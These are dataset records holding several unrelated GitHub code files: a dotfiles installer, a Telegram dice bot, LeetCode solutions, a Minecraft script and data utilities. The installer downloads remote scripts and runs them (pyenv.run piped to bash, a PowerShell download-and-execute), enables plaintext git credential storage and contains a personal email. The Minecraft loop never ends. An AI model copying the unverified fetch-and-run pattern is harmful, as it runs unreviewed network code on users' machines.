enumerate(lines):\n if line.startswith(key):\n if line == newline:\n return\n\n lines[i] = newline\n found = True\n break\n\n if not found:\n lines.append(newline)\n\n # write new contents\n with open(filename, \"w\") as fp:\n fp.writelines(lines)\n\n\ndef install_pip_settings() -> None:\n src = os.path.join(PKGS_DIR, \"pip.ini\")\n\n if IS_LINUX:\n target = os.path.join(HOME_DIR, \".config\", \"pip\", \"pip.conf\")\n elif IS_WINDOWS:\n target = os.path.join(APPDATA_DIR, \"pip\", \"pip.ini\")\n else:\n raise EnvironmentError(\"Unsupported OS\")\n\n os.makedirs(os.path.dirname(target), exist_ok=True)\n shutil.copy(src, target)\n\n print(f\"Installed pip settings to {target}\")\n\n\ndef install_npm_settings() -> None:\n src = os.path.join(PKGS_DIR, \".npmrc\")\n target = os.path.join(HOME_DIR, \".npmrc\")\n shutil.copy(src, target)\n\n print(f\"Installed npm settings to {target}\")\n\n\ndef install_windows_terminal_settings() -> None:\n src = os.path.join(WINDOWS_DIR, \"wt_settings.json\")\n target = os.path.join(\n LOCALAPPDATA_DIR,\n \"Packages\",\n \"Microsoft.WindowsTerminal_8wekyb3d8bbwe\",\n \"LocalState\",\n \"settings.json\",\n )\n shutil.copy(src, target)\n\n print(f\"Installed Windows Terminal settings to {target}\")\n\n\ndef install_powershell_profile() -> None:\n src = os.path.join(WINDOWS_DIR, \"Microsoft.PowerShell_profile.ps1\")\n target = os.path.join(\n DOCUMENTS_DIR, \"PowerShell\", \"Microsoft.PowerShell_profile.ps1\"\n )\n shutil.copy(src, target)\n\n print(f\"Installed PowerShell profile to {target}\")\n\n\ndef install_apt_packages(package: Union[str, List[str]]) -> None:\n global APT_UPDATED\n\n if not APT_UPDATED:\n subprocess.check_call(sudo([\"apt-get\", \"update\", \"-y\"]))\n APT_UPDATED = True\n\n cmd = sudo([\"apt-get\", \"install\", \"-y\"])\n\n if isinstance(package, list):\n cmd += package\n else:\n cmd += [package]\n\n subprocess.check_call(cmd)\n\n\ndef update_git() -> None:\n subprocess.check_call(sudo([\"add-apt-repository\", \"ppa:git-core/ppa\", \"-y\"]))\n install_apt_packages(\"git\")\n\n\ndef rewrite_apt_sources() -> None:\n subprocess.check_call(\n sudo([sys.executable, os.path.join(LINUX_DIR, \"rewrite_apt_sources.py\")])\n )\n\n\ndef set_git_config_key_value(key: str, value: str) -> None:\n print(f\"Configuring git {key}\")\n subprocess.check_call([w(\"git\"), \"config\", \"--global\", key, value])\n\n\ndef set_git_config(email: bool, gpg: bool) -> None:\n set_git_config_key_value(\"user.name\", \"Nathan Vaughn\")\n\n set_git_config_key_value(\"color.status.added\", \"green bold\")\n set_git_config_key_value(\"color.status.changed\", \"red bold strike\")\n set_git_config_key_value(\"color.status.untracked\", \"cyan\")\n set_git_config_key_value(\"color.status.branch\", \"yellow black bold ul\")\n\n set_git_config_key_value(\"init.defaultBranch\", \"main\")\n set_git_config_key_value(\"help.autoCorrect\", \"prompt\")\n set_git_config_key_value(\"core.fsmonitor\", \"true\")\n set_git_config_key_value(\"credential.helper\", \"store\")\n\n if email:\n set_git_config_key_value(\"user.email\", \"nvaughn51@gmail.com\")\n\n if gpg:\n set_git_config_key_value(\n \"user.signingkey\", \"958AB43C3CBC4E7EBBC1979769893C308784B59B\"\n )\n set_git_config_key_value(\"commit.gpgsign\", \"true\")\n\n if IS_WINDOWS:\n set_git_config_key_value(\n \"gpg.program\", \"C:\\\\Program Files\\\\Git\\\\usr\\\\bin\\\\gpg.exe\"\n )\n\n elif IS_WSL:\n install_apt_packages([\"gpg\", \"gnupg2\", \"socat\"])\n\n set_git_config_key_value(\n \"gpg.program\", \"/mnt/c/Program Files/Git/usr/bin/gpg.exe\"\n )\n add_line_to_file(\n os.path.join(HOME_DIR, \".gnupg\", \"gpg-agent.conf\"),\n \"pinentry-program /mnt/c/Program Files/Git/usr/bin/pinentry.exe\",\n )\n\n subprocess.check_call([w(\"gpg-connect-agent\"), \"reloadagent\", \"/bye\"])\n\n elif IS_LINUX:\n install_apt_packages([\"gpg\", \"gnupg2\"])\n\n set_git_config_key_value(\"gpg.program\", w(\"gpg\"))\n\n\ndef install_favorite_apt_packages() -> None:\n packages = [\n \"software-properties-common\",\n \"python-is-python3\",\n \"bat\",\n \"neofetch\",\n \"fontconfig\",\n \"nala\",\n ]\n install_apt_packages(packages)\n\n\ndef install_bash_settings() -> None:\n for file in os.listdir(LINUX_DIR):\n if not file.startswith(\".\"):\n continue\n\n src = os.path.join(LINUX_DIR, file)\n target = os.path.join(HOME_DIR, file)\n\n if os.path.isfile(target) or os.path.islink(target):\n os.remove(target)\n\n print(f\"Linking {src} to {target}\")\n os.symlink(src, target)\n\n\ndef install_oh_my_posh() -> None:\n print(\"Installing oh-my-posh\")\n\n if IS_WINDOWS:\n subprocess.check_call([w(\"winget\"), \"install\", \"JanDeDobbeleer.OhMyPosh\"])\n\n posh_themes = os.path.join(LOCALAPPDATA_DIR, \"Programs\", \"oh-my-posh\", \"themes\")\n os.makedirs(posh_themes, exist_ok=True)\n\n shutil.copy(os.path.join(OMP_DIR, \"nathanv-me.omp.json\"), posh_themes)\n\n elif IS_LINUX:\n local_bin = os.path.join(HOME_DIR, \".local\", \"bin\")\n os.makedirs(local_bin, exist_ok=True)\n\n url = \"https://github.com/JanDeDobbeleer/oh-my-posh/releases/latest/download/posh-linux-amd64\"\n print(f\"Downloading {url}\")\n urllib.request.urlretrieve(url, os.path.join(local_bin, \"oh-my-posh\"))\n subprocess.check_call([\"chmod\", \"+x\", os.path.join(local_bin, \"oh-my-posh\")])\n\n print(\"Installing oh-my-posh themes\")\n posh_themes = os.path.join(HOME_DIR, \".poshthemes\")\n os.makedirs(posh_themes, exist_ok=True)\n\n url = \"https://github.com/JanDeDobbeleer/oh-my-posh/releases/latest/download/themes.zip\"\n print(f\"Downloading {url}\")\n themes_zip, _ = urllib.request.urlretrieve(url)\n with zipfile.ZipFile(themes_zip, \"r\") as zip_ref:\n # delete target contents first\n for member in zip_ref.namelist():\n if os.path.isfile(os.path.join(posh_themes, member)):\n os.remove(os.path.join(posh_themes, member))\n\n zip_ref.extractall(posh_themes)\n\n os.remove(themes_zip)\n\n shutil.copy(os.path.join(OMP_DIR, \"nathanv-me.omp.json\"), posh_themes)\n subprocess.check_call([\"chmod\", \"-R\", \"u+rw\", posh_themes])\n\n\ndef install_fonts() -> None:\n if IS_WINDOWS:\n target = tempfile.mkdtemp()\n # target = os.path.join(LOCALAPPDATA_DIR, \"Microsoft\", \"Windows\", \"Fonts\")\n elif IS_LINUX:\n target = os.path.join(HOME_DIR, \".local\", \"share\", \"fonts\")\n else:\n raise EnvironmentError(\"Unsupported OS\")\n\n url = \"https://github.com/ryanoasis/nerd-fonts/releases/latest/download/CascadiaCode.zip\"\n\n print(f\"Downloading {url}\")\n fonts_zip, _ = urllib.request.urlretrieve(url)\n\n print(f\"Extracting {fonts_zip}\")\n with zipfile.ZipFile(fonts_zip, \"r\") as zip_ref:\n zip_ref.extractall(target)\n\n os.remove(fonts_zip)\n\n if IS_LINUX:\n subprocess.check_call(sudo([\"fc-cache\", \"-fv\"]))\n elif IS_WINDOWS:\n subprocess.check_call(\n [w(\"powershell\"), os.path.join(WINDOWS_DIR, \"install_fonts.ps1\"), target]\n )\n shutil.rmtree(target)\n\n\ndef install_pyenv() -> None:\n if IS_WINDOWS:\n # https://github.com/pyenv-win/pyenv-win/blob/master/docs/installation.md#powershell\n subprocess.check_call(\n [\n w(\"powershell\"),\n \"-c\",\n 'Invoke-WebRequest -UseBasicParsing -Uri \"https://raw.githubusercontent.com/pyenv-win/pyenv-win/master/pyenv-win/install-pyenv-win.ps1\" -OutFile \"./install-pyenv-win.ps1\"; &\"./install-pyenv-win.ps1\"',\n ]\n )\n os.remove(\"install-pyenv-win.ps1\")\n elif IS_LINUX:\n if shutil.which(\"pyenv\"):\n subprocess.check_call([\"pyenv\", \"update\"])\n else:\n packages = [\n \"pkg-config\",\n \"build-essential\",\n \"gdb\",\n \"lcov\",\n \"libbz2-dev\",\n \"libffi-dev\",\n \"libgdbm-dev\",\n \"libgdbm-compat-dev\",\n \"liblzma-dev\",\n \"libncurses5-dev\",\n \"libreadline6-dev\",\n \"libsqlite3-dev\",\n \"libssl-dev\",\n \"lzma\",\n \"lzma-dev\",\n \"tk-dev\",\n \"uuid-dev\",\n \"zlib1g-dev\",\n ]\n install_apt_packages(packages)\n\n pyenv_installer, _ = urllib.request.urlretrieve(\"https://pyenv.run\")\n subprocess.check_call([\"bash\", pyenv_installer])\n os.remove(pyenv_installer)\n\n\ndef get_response(prompt: str, new_line: bool = True) -> bool:\n full_prompt = f\"{BOLD}Would you like to {prompt}? {NC}\"\n if new_line:\n full_prompt = \"\\n\" + full_prompt\n\n val = input(full_prompt).strip().lower()\n return val.startswith(\"y\")\n\n\ndef main() -> None:\n if IS_LINUX:\n rewrite_apt_sources_bool = get_response(\"rewrite apt sources\")\n\n if rewrite_apt_sources_bool:\n rewrite_apt_sources()\n\n if get_response(\"install favorite apt packages\"):\n install_favorite_apt_packages()\n\n if get_response(\"update git\"):\n update_git()\n if rewrite_apt_sources_bool:\n rewrite_apt_sources()\n\n if get_response(\"install Bash settings\"):\n install_bash_settings()\n\n if get_response(\"configure git\"):\n email = get_response(\"set git's email to your personal address\", new_line=False)\n gpg = get_response(\"configure git to use your GPG key\", new_line=False)\n set_git_config(email=email, gpg=gpg)\n\n if get_response(\"install fonts\"):\n install_fonts()\n\n if get_response(\"install oh-my-posh\"):\n install_oh_my_posh()\n\n if IS_WINDOWS:\n if get_response(\"install your PowerShell profile\"):\n install_powershell_profile()\n\n if get_response(\"install Windows Terminal settings\"):\n install_windows_terminal_settings()\n\n if get_response(\"install pip settings\"):\n install_pip_settings()\n\n if get_response(\"install npm settings\"):\n install_npm_settings()\n\n if get_response(\"install pyenv\"):\n install_pyenv()\n\n if IS_WINDOWS:\n print(\n f\"{GREEN}Done.{NC} Run {BOLD}. $PROFILE{NC} to refresh your PowerShell profile.\"\n )\n elif IS_LINUX:\n print(\n f\"{GREEN}Done.{NC} Run {BOLD}source {HOME_DIR}/.bash_profile{NC} to refresh your Bash profile.\"\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NathanVaughn/dotfiles","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":12725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23576315625","text":"def checkio(string):\r\n\twords = string.split(\" \")\r\n\tcount = 0\r\n\tcheck = False\r\n\t\r\n\tfor word in words:\r\n\t\tif word.isalpha():\r\n\t\t\tcount += 1\r\n\t\telif word.isdigit():\r\n\t\t\tif not count >= 3:\r\n\t\t\t\tcount = 0\r\n\t\r\n\tif count >= 3:\r\n\t\tcheck = True\r\n\t\r\n\treturn check","repo_name":"Jakubinyi/Python_Practice","sub_path":"013_Three_words/three_words_thomas.py","file_name":"three_words_thomas.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6763153888","text":"# Here, we'll calculate someone's gross pay based on the hours they work\n# and how much they are paid for their work each hour.\n\n# The program begins by collecting input (hours, pay per hour) from the user.\nimport sys\nimport time\n\nh = input('How many hours do you work? ')\nrph = input('How much are you paid for each hour you work? ')\n\n# Afterwards, the program converts the input from strings to\n# floating-point numbers before printing the result.\ngp = float(h) * float(rph)\nprint('So your gross pay is', gp)\n# sys.stdout.flush()\ntime.sleep(2)\n\n# Pay the hourly rate for the hours up to 40 and 1.5 times the hourly rate\n# for all hours worked above 40 hours. Use 45 hours and a rate of 10.50 per hour\n# to test the program (the pay should be 498.75).\nprint(\n'Let us assume that you are paid the hourly rate up till the 40th hour and 1.5 \\\ntimes the hourly rate for all hours worked above 40 hours.')\n# sys.stdout.flush()\ntime.sleep(2)\n\n\nif float(h) > 40:\n # gp = pay for first 40 hours worked + pay for hours worked after the 40th hour\n ot_gp = (40 * float(rph)) + ((float(h) - 40) * (1.5 * float(rph)))\n print(\"In that case, your gross pay will rise to\", ot_gp)\n\nelse:\n print('However, since you worked for 40 hours or less, your gross pay will \\\n remain at', gp)\n","repo_name":"ozervesh/py4e","sub_path":"3 - Conditional Code/3.1_ex.py","file_name":"3.1_ex.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32882871106","text":"from .. import bot \nfrom telethon import events\nimport random \nimport time\n\n\n@bot.on(events.NewMessage(incoming=True, pattern=\"/game\"))\nasync def game(event):\n await event.reply('Dice Game🎲\\n\\nGame info:\\nTwo dices 🎲 were rolled randomly. You have to choose your favourite number or we can say a random number in a range of 1-6. If the number matches with any of the output of dice then congratulations you won.\\n\\nChoose your favourite number by typing\\nFav.num = \"your number\"\\n\\nFor example:\\nFav.num = 5')\n\n\n@bot.on(events.NewMessage(incoming=True, pattern=\"Fav.num = ?(.*)\"))\nasync def game(event):\n num = str(event.text[10:])\n #await event.reply(num)\n #await event.reply(num)\n \n if num == \"1\" or num == \"2\" or num == \"3\" or num == \"4\" or num == \"5\" or num == \"6\":\n \n abc = await event.reply(\"I got your favourite number\")\n time.sleep(2)\n dice1 = random.randint(1,6)\n dice2 = random.randint(1,6)\n xy = str(dice1)\n yz = str(dice2)\n di1 = \"First dice : \" + str(dice1)\n di2 = \"Second dice : \" + str(dice2)\n di = di1 + \"\\n\" + di2 \n \n await abc.edit(\"Rolling dices...🎲\")\n time.sleep(2)\n \n \n \n \n \n #time.sleep(2)\n await abc.edit(di)\n time.sleep(2)\n \n if num == xy or num == yz:\n await abc.edit(\"Congratulations 🎉. You won\\n\\nIf you wants to play again. Again type your favourite number by Fav.num = _ \")\n else:\n await abc.edit(\"You lose. Better luck next time\\n\\nIf you wants to play again. Again type your favourite number by Fav.num = _ \")\n \n \n else:\n await event.reply(\"Number out of range or it is not a number type a valid number in a range of 1-6. Only a single number after Fav.num = \")\n","repo_name":"Hyper-Jai/Pythonbot_J","sub_path":"pythonbot/plugins/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9003049782","text":"# Logs are of 4 kinds # Info # Warning # Error # Critical\nimport logging\n\ndef test_loggingDemo():\n\n# create an object out of logging class that will be used for logs\n\n logger = logging.getLogger(__name__) # __name__ arg will catch the file name and print in log file\n\n # Let's collect the info on the file name\n fileHandler = logging.FileHandler('logfile1.log') # file object assigned to 'file'\n\n # Format of logging\n formatter = logging.Formatter(\"%(asctime)s : %(levelname)s : %(name)s : %(message)s\")\n\n fileHandler.setFormatter(formatter) # find handler provided info on the log format\n\n logger.addHandler(fileHandler) # file info sent to logger\n\n logger.setLevel(logging.INFO) # setting level means only the logs from info to critical will be logged not the debug lines\n\n logger.debug(\"debug has started\")\n logger.info(\"This is an info log\")\n logger.warning(\"Warning occurred\")\n logger.error(\"There is an error here\")\n logger.critical(\"Critical error please check!!\")","repo_name":"pateriyadivya/SeleniumProject","sub_path":"pytest_data/test_logging.py","file_name":"test_logging.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3343693213","text":"# snailTrail.py\n#\n# Build things by leaving a trail of blocks\n\nimport mcpi.minecraft as minecraft\nimport mcpi.block as block\nimport time\n\nTRAIL_TIME = 20\nTRAIL_BLOCK = block.STONE.id\n\nmc = minecraft.Minecraft.create()\n\ntimeleft = TRAIL_TIME\nmc.postToChat(\"snail trail active for:\" + str(timeleft) + \" seconds\")\n\nwhile TRAIL_TIME > 0:\n pos = mc.player.getTilePos()\n mc.setBlock(pos.x, pos.y, pos.z, TRAIL_BLOCK)\n timeleft -= 1\n time.sleep(1)\n\nmc.postToChat(\"snail trail has finished\")\n\n \n","repo_name":"whaleygeek/mcpi_recipes","sub_path":"snailtrail/snailTrail.py","file_name":"snailTrail.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"42083596402","text":"class Solution:\n def addBinary(self, a, b):\n \"\"\"\n :type a: str\n :type b: str\n :rtype: str\n \"\"\"\n if a == '' and b == '':\n return '0'\n elif a == '':\n return b\n elif b == '':\n return a\n\n if len(a) > len(b):\n b = b.zfill(len(a)+1)\n a = a.zfill(len(a)+1)\n elif len(b) > len(a):\n a = a.zfill(len(b)+1)\n b = b.zfill(len(b)+1)\n else:\n a = a.zfill(len(a)+1)\n b = b.zfill(len(b)+1)\n\n length = len(a)\n alist = [i for i in a]\n blist = [i for i in b]\n\n i = length-1\n carry = False\n result = ['0']*length\n while i >= 0:\n if blist[i] == '1' and alist[i] == '1' and carry:\n result[i] = '1'\n elif blist[i] == '1' and alist[i] == '1' and not carry:\n result[i] = '0'\n carry = True\n elif (blist[i] == '1' or alist[i] == '1') and carry:\n result[i] = '0'\n elif (blist[i] == '1' or alist[i] == '1') and not carry:\n result[i] = '1'\n elif carry:\n result[i] = '1'\n carry = False\n else:\n result[i] = '0'\n i -= 1\n \n if result[0] == '0':\n return \"\".join(result[1:])\n else:\n return \"\".join(result)\n\n\nprint(Solution().addBinary('1111', '1111'))\n","repo_name":"HNYuuu/Leetcode-","sub_path":"67.py","file_name":"67.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"21127148778","text":"from sortedcontainers import SortedDict\n\nclass Solution:\n def minMeetingRooms(self, intervals: List[List[int]]) -> int:\n sd = SortedDict()\n for s, f in intervals:\n sd[s] = sd.setdefault(s, 0) + 1\n sd[f] = sd.setdefault(f, 0) - 1\n room, k = 0, 0\n for _, v in sd.items():\n room += v\n k = max(k, room)\n return k","repo_name":"fxrcode/FG","sub_path":"253-meeting-rooms-ii/253-meeting-rooms-ii.py","file_name":"253-meeting-rooms-ii.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"13796834078","text":"from os import listdir\nfrom os.path import isfile\n\nclass FolderReader:\n\n @staticmethod\n def get_filepaths_from_folder(folder_path: str) -> list:\n filenames = [path for path in listdir(folder_path) if isfile(f\"{folder_path}/{path}\")]\n filepaths = [f\"{folder_path}/{path}\" for path in filenames]\n return filepaths\n\n def __init__(self) -> None:\n raise NotImplementedError()\n","repo_name":"Guisilcol/python-for-data-engineers-grupo-4","sub_path":"src/modules/folder_reader.py","file_name":"folder_reader.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26817130786","text":"import os\nimport RPi.GPIO as GPIO\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(26, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\ncounter = 0\n\nwhile True:\n if GPIO.input(26) == True:\n counter += 1\n print(counter)\n if counter > 100000:\n os.system(\"sudo shutdown -h now\")\n","repo_name":"ClarityMckenzie/pipCam","sub_path":"off.py","file_name":"off.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37315974906","text":"'''\nThis function is to merge all embeded faces in 1 file for training data\n\n'''\n\nimport pandas as pd\nimport numpy as np\nimport os\nfrom keras.utils.np_utils import to_categorical\n\nCSV_PATH = 'CSV_LIST/CSV_List.csv'\nEMB = 'Embeded_Face'\nFILE_NAME = 'train_data.npy'\n\n\ndef get_y_true(df, NUMBER_OF_CLASSES):\n y_true = []\n for index, row in df.iterrows():\n y_true.append(to_categorical(row['ID'], num_classes=NUMBER_OF_CLASSES))\n \n return np.array(y_true)\n\ndef embededAll(df, newNames):\n\n '''\n Check if exit file train_data.npy or not and \n Return (x_train, y_train, NUMBER_OF_CLASSES) \n\n '''\n\n train_new = []\n NUMBER_OF_CLASSES = df['ID'].values.max() + 1\n \n for name in newNames: \n for embFile in os.listdir(os.path.join(EMB, name)):\n full_file_path = os.path.join(EMB, name, embFile)\n emb = np.load(full_file_path)\n train_new.append(emb)\n\n train_new = np.array(train_new)\n\n if not os.path.isfile(FILE_NAME):\n np.save(FILE_NAME, train_new)\n y_train = get_y_true(df, NUMBER_OF_CLASSES)\n \n return train_new, y_train, NUMBER_OF_CLASSES\n\n else:\n train = np.load(FILE_NAME)\n train = np.concatenate((train,train_new), axis = 0)\n print(train.shape)\n np.save('train_data.npy', train)\n y_train = get_y_true(df, NUMBER_OF_CLASSES)\n\n return train, y_train, NUMBER_OF_CLASSES","repo_name":"gnvml/Face_InteliVis","sub_path":"utils/embAll.py","file_name":"embAll.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34767818670","text":"from typing import Optional\n\nfrom great_expectations.core.expectation_configuration import \\\n ExpectationConfiguration\nfrom great_expectations.execution_engine import SqlAlchemyExecutionEngine\n\nfrom great_expectations.expectations.expectation import ColumnMapExpectation\nfrom great_expectations.expectations.metrics import (ColumnMapMetricProvider,\n column_condition_partial)\n\n\nclass CustomSqlDataset(ColumnMapMetricProvider):\n condition_metric_name = \"expect_column_values_to_start_with\"\n condition_value_keys = (\"start\",)\n\n @column_condition_partial(engine=SqlAlchemyExecutionEngine)\n def _sqlalchemy(cls, column, start, **kwargs):\n return column.startswith(start)\n\n\nclass ExpectColumnValuesToStartWith(ColumnMapExpectation):\n \"\"\"\n Expect the column value to start with substring (\"start\" :parameter)\n \"\"\"\n\n examples = [\n {\n \"data\": {\n \"all_vowels\": [\"oakland\", \"oak\", \"oasis\"],\n \"not_all_vowels\": [\"big\", \"bad\", \"wolf\"],\n },\n \"tests\": [\n {\n \"title\": \"basic_positive_test\",\n \"exact_match_out\": False,\n \"include_in_gallery\": True,\n \"in\": {\n \"column\": \"all_vowels\",\n \"start\": \"oa\",\n \"mostly\": 0.8\n },\n \"out\": {\n \"success\": True,\n },\n },\n {\n \"title\": \"basic_negative_test\",\n \"exact_match_out\": False,\n \"include_in_gallery\": True,\n \"in\": {\n \"column\": \"not_all_vowels\",\n \"start\": \"oa\",\n \"mostly\": 0.8\n },\n \"out\": {\n \"success\": False,\n },\n },\n ],\n \"test_backends\": [\n {\n \"backend\": \"sqlalchemy\",\n \"dialects\": [\"sqlite\", \"postgresql\"],\n },\n ],\n }\n ]\n\n map_metric = \"expect_column_values_to_start_with\"\n success_keys = (\"mostly\", \"start\")\n default_kwarg_values = {\n \"start\": \"oa\"\n }\n\n def validate_configuration(\n self, configuration: Optional[ExpectationConfiguration]\n ) -> None:\n\n super().validate_configuration(configuration)\n if configuration is None:\n configuration = self.configuration\n\n\nif __name__ == \"__main__\":\n ExpectColumnValuesToStartWith().print_diagnostic_checklist()\n","repo_name":"AlexandrKhan/AirflowTraining","sub_path":"great/great_expectations/plugins/expectations/expect_column_values_to_start_with.py","file_name":"expect_column_values_to_start_with.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"17363806431","text":"import numpy as np\n\nimport argparse\nimport json\nimport os\nimport pathlib\nimport pdb\nimport pickle\n\nimport evaluate_mcsh_model\nimport selection_methods\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Run model evaluation\")\n parser.add_argument(\"--workspace\", type=str, required=True, \n help=\"top-level workspace\")\n parser.add_argument(\"--job_id\", type=str, required=True,\n help=\"name of job\")\n parser.add_argument(\"--data\", type=str, required=True,\n help=\"location of dataset file\")\n\n args = parser.parse_args()\n args_dict = vars(args)\n\n workspace_path = pathlib.Path(args_dict[\"workspace\"])\n job_id = args_dict[\"job_id\"]\n\n #load dataset\n data_filename = args_dict[\"data\"]\n dataset = pickle.load(open(data_filename, \"rb\"))\n\n #load model config\n config_file = workspace_path / \"config/config_{}.json\".format(job_id)\n config = json.load(open(config_file, \"r\"))\n\n cutoff = config[\"cutoff\"]\n order_params = config[\"groups_by_order\"]\n for order, params in order_params.items():\n params[\"sigmas\"] = np.array(config[\"sigmas\"])\n\n run_dir = workspace_path / \"training/{}\".format(job_id)\n run_dir.mkdir(parents=True, exist_ok=False)\n\n #get model performance\n print(\"Evaluating with params: {}\".format(order_params))\n train_mse, test_mse = evaluate_mcsh_model.evaluate_model(order_params, cutoff, dataset, run_dir)\n print(\"Test MSE: {}\".format(test_mse))\n\n #write result to file\n output_path = workspace_path / \"output\" / \"output_{}.json\".format(config[\"id\"])\n json.dump({\"avg_train_mse\": train_mse, \"avg_test_mse\": test_mse}, open(output_path, \"w+\"))\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"patricklai14/mcsh_exploration","sub_path":"run_eval_test.py","file_name":"run_eval_test.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14125527871","text":"import random\n\n# list = []\n# n = int(input(\"Введите размер списка: \"))\n\n# for i in range(0, n+1):\n# list.append(random.randint(0, 101))\n# print(list)\n\n# for i in range(0,len(list)):\n# t = random.randint(0, n)\n# temp = list[i]\n# list[i] = list[t]\n# list[t] = temp\n# print(list)\n\nres = [(random.randint(0, 101)) for i in range(0, 10)]\nprint(res)\n\nres = list(filter(lambda x: x%2, res))\n\nprint(res)","repo_name":"staspereverzev/PythonHomework","sub_path":"Homework002/Task005.py","file_name":"Task005.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69973961494","text":"\"\"\"Write a program that asks the user for a number in the range of 1 to 12. The program should display the corresponding month, where \n1=january, 2=february,3=march,4=april,5=may,6=june,7=july, 8=august,9=september,10=october,11=november,12=december. The program should display an error message if the user enters a number\nthat is outside the range of 1 to 12.\"\"\"\ndef month(x):\n if x==1:\n return \" January \"\n elif x==2:\n return \" Fubruary \"\n elif x==3:\n return \" March \"\n elif x==4:\n return \" April \"\n elif x==5:\n return \" May \"\n elif x==6:\n return \" June \"\n elif x==7:\n return \" July\"\n elif x==8:\n return \" August \"\n elif x==9:\n return \" September \"\n elif x==10:\n return \" October \"\n elif x==11:\n return \" November \"\n elif x==12:\n return \"December \"\n else:\n return \" Error \"\n#Now we have to use the input function.\n#then print it.\nx=int(input(\"Enter the number of month you want to know: \"))\nprint(month(x))","repo_name":"Ujjse/Documents","sub_path":"Python/Programming hw 2/5th.py","file_name":"5th.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20935744521","text":"import pytest\n\n\ndef s2s_follow(user, remote_user, id):\n return {\n '@context': ['https://www.w3.org/ns/activitystreams',\n 'https://w3id.org/security/v1',\n {'Hashtag': 'as:Hashtag', 'sensitive': 'as:sensitive'}],\n 'actor': user,\n 'id': id,\n 'object': remote_user,\n 'type': 'Follow'\n }\n","repo_name":"autogestion/pubgate","sub_path":"tests/test_data/server_activity.py","file_name":"server_activity.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"67"} +{"seq_id":"71874083412","text":"from django.contrib import auth\nfrom rest_framework import serializers\nfrom models import User\n\nclass UserSerializer:\n @classmethod\n def get_user_as_dict(cls, user):\n if user is None:\n return dict(username=None, elo=None, credit=None, total_played=None, total_win=None, total_lost=None)\n return {\n 'username':user.username,\n 'elo': user.elo,\n 'credit': user.credit,\n 'total_played': user.total_played,\n 'total_win': user.total_win,\n 'total_lost': user.total_lost\n }\n @classmethod\n def get_info_from_user(cls, user, fields):\n user_as_dict = cls.get_user_as_dict(user)\n return { attr: user_as_dict[attr] for attr in fields }\n","repo_name":"0xCorolaire/SmartCards","sub_path":"django_cards/django_cards/serialyze.py","file_name":"serialyze.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"32484651440","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndef initialize_matplotlib():\r\n fig, ax = plt.subplots()\r\n plt.xticks(rotation=-20)\r\n plt.style.use(\"seaborn-dark\")\r\n for param in ['figure.facecolor', 'axes.facecolor', 'savefig.facecolor']:\r\n plt.rcParams[param] = '#212946'\r\n for param in ['text.color', 'axes.labelcolor', 'xtick.color', 'ytick.color']:\r\n plt.rcParams[param] = '0.9'\r\n ax.grid(color='#2A3459')\r\n return fig, ax\r\n\r\ndef diagramme1(NOMM, export=False):\r\n\r\n # Récupération des données\r\n RT1 = pd.merge(RELEVE, MESURE, on=\"IDR\") # Ajout des relevés sur les mesures\r\n RT2 = pd.merge(RT1, STATION, on=\"IDS\") # Ajout des stations\r\n RT3 = pd.merge(RT2, LIEU, on=\"IDL\") # Ajout des lieux\r\n RT4 = RT3.loc[RT3[\"NOMM\"] == NOMM] # Sélection des mesures dont le nom est passé en paramètre\r\n villes = RT4[\"NOML\"].unique() # Récupération de la liste des villes\r\n\r\n # Affichage du graphique\r\n ax.set_ylabel(NOMM)\r\n ax.set_title(f'Evolutions : {NOMM}')\r\n couleurs = ['#F91E53','#C2185B','#9C27B0','#5727B0','#272AB0','#276BB0']\r\n\r\n for i in range(len(villes)):\r\n RT5 = RT4.loc[RT4[\"NOML\"] == villes[i]] # Sélection des mesures dans la ville concernée\r\n RT6 = RT5.groupby([\"DATER\"]).mean() # Regroupement par date (moyenne des 